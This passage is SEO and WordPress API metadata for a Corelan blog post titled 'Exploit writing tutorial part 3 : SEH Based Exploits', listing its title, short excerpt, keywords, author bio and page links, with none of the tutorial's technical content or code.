Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"In the first 2 parts of the exploit writing tutorial series, I have discussed how a classic stack buffer overflow works and how you can build a reliable exploit by using various techniques to jump to the shellcode.&#160; The example we have used allowed us to directly overwrite EIP and we had a pretty large &hellip; Continue reading &quot;Exploit writing tutorial part 3 : SEH Based Exploits&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2009-07-24T22:27:34+00:00\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/25\\\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/25\\\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Exploit writing tutorial part 3 : SEH Based Exploits\",\"datePublished\":\"2009-07-24T22:27:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/25\\\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\\\/\"},\"wordCount\":4906,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"keywords\":[\"exploit development\",\"exploit development tutorial\",\"exception handling\",\"immunity debugger\",\"seh\",\"dep\",\"!exploitable\",\"stack\",\"shellcode\",\"overflow\",\"windbg\"],\"articleSection\":[\"Exploit Writing Tutorials\",\"Exploits\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/25\\\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/25\\\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\\\/\",\"name\":\"Exploit writing tutorial part 3 : SEH Based Exploits - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"datePublished\":\"2009-07-24T22:27:34+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/25\\\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/25\\\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/25\\\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploit writing tutorial part 3 : SEH Based Exploits\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploit writing tutorial part 3 : SEH Based Exploits - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/","og_locale":"en_US","og_type":"article","og_title":"Exploit writing tutorial part 3 : SEH Based Exploits - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"In the first 2 parts of the exploit writing tutorial series, I have discussed how a classic stack buffer overflow works and how you can build a reliable exploit by using various techniques to jump to the shellcode.&#160; The example we have used allowed us to directly overwrite EIP and we had a pretty large &hellip; Continue reading \"Exploit writing tutorial part 3 : SEH Based Exploits\"","og_url":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2009-07-24T22:27:34+00:00","author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Exploit writing tutorial part 3 : SEH Based Exploits","datePublished":"2009-07-24T22:27:34+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/"},"wordCount":4906,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"keywords":["exploit development","exploit development tutorial","exception handling","immunity debugger","seh","dep","!exploitable","stack","shellcode","overflow","windbg"],"articleSection":["Exploit Writing Tutorials","Exploits","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/","url":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/","name":"Exploit writing tutorial part 3 : SEH Based Exploits - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"datePublished":"2009-07-24T22:27:34+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Exploit writing tutorial part 3 : SEH Based Exploits"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":191133,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2153","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=2153"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2153\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=2153"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=2153"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=2153"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}